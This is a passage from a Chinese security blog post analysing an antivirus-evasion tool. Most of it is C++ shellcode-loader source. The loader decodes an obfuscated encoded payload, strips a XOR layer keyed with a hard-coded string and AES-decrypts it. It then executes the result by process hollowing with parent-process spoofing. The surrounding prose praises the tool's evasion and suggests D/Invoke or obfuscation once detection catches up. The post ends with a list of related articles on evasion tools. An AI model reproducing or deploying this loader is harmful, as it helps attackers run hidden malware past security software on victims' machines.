^.... ^.-. ..... ^-... --. ^.-- ---.. ...-- --.- --- --. ^-..- ^. - ..- / ^.... ^-.-- .---- -.. .--. .-. ^-. ^...- ^... ^. .-.. ... ..--- .--- ^-.-- -.-. .-.. - . .--- ...-- ..--- ....- ^..- -.. .-. - ...-- ^. --.. ^-.. ^--.. ^.--. ^- ^.^ ^. ^--.. -.. ^-. ^.-- ^.- .-- -- ^.... -..- ..-. ^-.. .- -.- ^.-- ^.- ... --. ---.. ..... --.- ^.-- ^. ....- ----- ----- -.... --... .-.. ---.. .-- ---.. --.. ----. ^.--. -... .---- ^... ^.... ...-- .-- ^.^ ^..-. ^.-- --- ^-..- --... ^--.- - .-. ^-... -.-. --.. ^-. ^.^ .--. --. ^- ----. .... -..- ^-.-- - -.- ^... .---- .... .--. -.. -.- .---- -..- ^-..- ^.. ..--- --.. . ^--.. -... ^... ^.-. -.... ^-- ^.... ^-.. ^.... -- --... .-.. ^...- ^... ^- -.- ^.-.. ^-- / .--- --- ^.... ..-. ^-.- ...-- --.- ^--.. ^..- ^-... ^.--- ^-.-. -.. -. ^-.-. ^--- .--. .-. ^-.. . .-.. ^--- .--. ... ^-.-. ..... ..-. ..-. ..- ^-- ^.^ --. ..... -... ^--.. ... .---- ^-. ^.- ^-.-. ..--- ^.. ^.-- ";
    gnjtbnfmobyhybhpdxsg = "-.-. . -.... -.-. . ^- ..--- ^-..- .--- ...- ^- ^-- ^... ^... ^... .-.. ----. ----- -.... .- --. ..... -- ..... ^.... -.- ^... ^--.- ..-. ^-... ^-... ^.--- .---- ^--- ..... .- .- / - ... -.-. ^-- ....- ...^- ";
    gnjtbnfmobyhkhlrlybj = ".---- -- ^...- .... ^-.-- --. .... ....- ...- .-- -. ^..-. ^-.-. ^..-. ^.- -... --. ^-.. --- .--. ^... .-- ...^- ...^- ";
    gnjtbnfmobyhowwrtclyellkn = "-... ^-.- ^.^ -... -. ^..^ -... .--- ^.^ ^--- ...- .- ^.^ --.- ----- --. --. .... ";

    //translate all sumarine language
    ttkmjqver = idwdcbsjt(gnjtbnfmobyh);
    ybhpdxsg = idwdcbsjt(gnjtbnfmobyhybhpdxsg);
    khlrlybj = idwdcbsjt(gnjtbnfmobyhkhlrlybj);
    owwrtclyellkn = idwdcbsjt(gnjtbnfmobyhowwrtclyellkn);

    gdfmssmkalh = b64.base64_decode(ttkmjqver);

    //xor
    //char qpuqrabc[] = "Sup3rS3cur3K3yfTw!";
    //initialize owwrtclyellkn in a weird way
    char qpuqrabc[19];
    for (int k = 0; k < owwrtclyellkn.length(); k++) qpuqrabc[k] = owwrtclyellkn[k];

    int j = 0;
    for (int i = 0; i < gdfmssmkalh.size(); i++) {
        if (j == sizeof qpuqrabc - 1) j = 0;

        gdfmssmkalh[i] = gdfmssmkalh[i] ^ qpuqrabc[j];
        j++;
    }

    isbgdapqeicaw.clear();
    std::copy(gdfmssmkalh.begin(), gdfmssmkalh.end(), std::back_inserter(isbgdapqeicaw));

    // AES Decryption Objects
    struct AES_ctx e_ctx;
    uint8_t key[32];
    uint8_t iv[16];
    string a3s_key = b64.base64_decode(ybhpdxsg);
    string a3s_iv = b64.base64_decode(khlrlybj);
    std::copy(a3s_key.begin(), a3s_key.end(), std::begin(key));
    std::copy(a3s_iv.begin(), a3s_iv.end(), std::begin(iv));

    AES_init_ctx_iv(&e_ctx, key, iv);

    // DECRYPT
    struct AES_ctx d_ctx;
    AES_init_ctx_iv(&d_ctx, key, iv);
    AES_CBC_decrypt_buffer(&d_ctx, isbgdapqeicaw.data(), isbgdapqeicaw.size());
    nxllkgwilgr.clear();

    // Remove the padding from the decypted plaintext
    SIZE_T c_size = isbgdapqeicaw.size();
    for (int i = 0; i < c_size; i++)
    {
        if (isbgdapqeicaw[i] == 0x90 && i == (c_size - 1))
        {
            break;
        }
        else if (isbgdapqeicaw[i] == 0x90 && isbgdapqeicaw[i + 1] == 0x90)
        {
            break;
        }
        else
        {
            nxllkgwilgr.push_back(isbgdapqeicaw[i]);
        }
    }

    //process hollowing + pcvhmsvnfo spoofing
    ddrvwpki(nxllkgwilgr);
}

然后我们分析一下CPP代码,其核心则是process hollowing + 父进程欺骗

不过其使用了底层api操作,文章如下:

https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

其具体汇编代码存储与asm文件中

而代码最前面这些则是针对shellcode的加密操作

写在后面:

该工具免杀效果显著,但C#版本的某些api可能会引起杀软注意,可更换为D/Invoke,如以后代码效果失效,可尝试构建.net混淆工具。demo如下:

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-06-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 免杀工具charlotte解析

    charlotte是一款Python编写的自动化免杀工具,用来生成免杀的dll文件,在antiscan.me上为全绿,效果可见一斑。

    鸿鹄实验室
  • 工具解析 | 杀毒引擎惨遭打脸,黑帽大会爆惊天免杀工具

    今年的黑帽大会上,可谓是精彩不断。与往届大会对比看来,当属2017这届最有看头。各种推陈出新的技术暂且不论,光是爆出的新免杀工具AVET就足以惊艳全场。 该工具...

    FB客服
  • 工具推荐:BadAssMacros免杀宏生成器

    在众多的攻击方式中,钓鱼文档攻击仍然扮演者重要的地位,而随着各类安全防护设备的成熟,宏免杀一直是我们所讨论的问题,之前有MacroPack(收费版仍然好...

    鸿鹄实验室
  • 【iOS】浅析近期越狱工具+“平刷”工具

    越狱工具:unc0ver,chimera,checkra1n(chimera1n)

    zby1101
  • 远控免杀从入门到实践——工具总结篇

    在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后,我开始学习和研究市面上知名度比较高的免杀工具,从互联网上找到了大约 30 多个免杀工...

    FB客服
  • ShadowBreaker方程式工具包浅析

    今日,臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit.com博客上提供了相关消息。 本次被公开的工具包大小为117.9M...

    云鼎实验室
  • ShadowBrokers 方程式工具包浅析

    臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit.com博客上提供了相关消息。本次被公开的工具包大小为117.9MB,包含...

    云鼎实验室
  • 文本分析工具awk指令浅析

    AWK是一个优良的文本处理工具,Linux及Unix环境中现有的功能最强大的数据处理引擎之一。awk经过改进生成的新的版本nawk,gawk,现在默认linu...

    吴柯
  • 【读者投稿】几年安全学习经验杂谈

    我属于11年左右才开始入行的小菜鸟,听着前辈们经常讲着在10年之前,注入分分钟拿站,到10年开始慢慢出现waf,作为一个新人,waf当年的确是个不错的ideas...

    信安之路
  • 让代码更有效率的方法

            老大总结的代码级提高代码执行效率需要注意的点,很值得和大家分享一下,在这儿也由衷地感谢下老大的总结和工作中的指导。大多数的点都在项目中验证过,比...

    王亚昌
  • 科技类——自杀预防技术

    AI isn’t just taking jobs, it’s saving lives. 她 从苏州的画舫,一个人默默地走来 脸上浮略些伤感 眼尾浅浅的葵扇纹...

    企鹅号小编
  • 被标记为事务的方法互相调用的坑(上)

    相信大家一定用过Spring中的注解型事务,配合上Spring Boot,只需要在方法上打一个@Transactional 就可以完成,真香。

    java架构师
  • 性能测试工具Locust源码浅析

    作为性能测试的老司机们而言,要么对各大性能测试工具的特性都了然于心了,要么已经使用“惯”了手头上的工具;他们是不会没事做个性能评测的,只有新手们才会认认真真的、...

    上帝De助手
  • 安全事件应急响应工具箱

    收集了一些常见的安全事件应急响应工具和资源列表,总收集47款实用工具,包括多引擎病毒检测、病毒查杀、勒索病毒搜索引擎、webshell检测、在线沙箱、安全分析、...

    C4rpeDime
  • 性能工具之JMeter5.0核心源码浅析

    周末无聊看了下 JMeter5.0 的源码,本文就当做个小结,水平有限,如有理解不到位或错误的的地方,望大家指出,谢谢。

    高楼Zee
  • “污水”(MuddyWater)APT组织C2工具MuddyC3浅析

    之前在Shells.Systems看到过一篇关于C2工具MuddyC3的分析文章,抱着学习的态度,来对该工具的工作原理进行学习,并从中汲取知识,窥探一线攻击组织...

    鸿鹄实验室
  • 「限免」Adobe Launch调试和分析工具视频

    Adobe Launch上面的配置在发布之前是需要调试的,调试就需要用到调试工具。

    GA小站
  • 8款WebShell扫描检测查杀工具(附下载地址)

    webshell是一种可以在web服务器上执行后台脚本或者命令的后门,黑客通过入侵网站上传webshell后获得服务器的执行操作权限,比如执行系统命令、窃取用户...

    贝塔安全实验室
  • HW : Cobalt Strike 应该这样学

    上一篇文章中讲解了elf loader的实现,接下来会有文章继续拓展这个内容:打造无execve的shellcode版 bash,未来的linux渗透大杀器。

    七夜安全博客

扫码关注云+社区

领取腾讯云代金券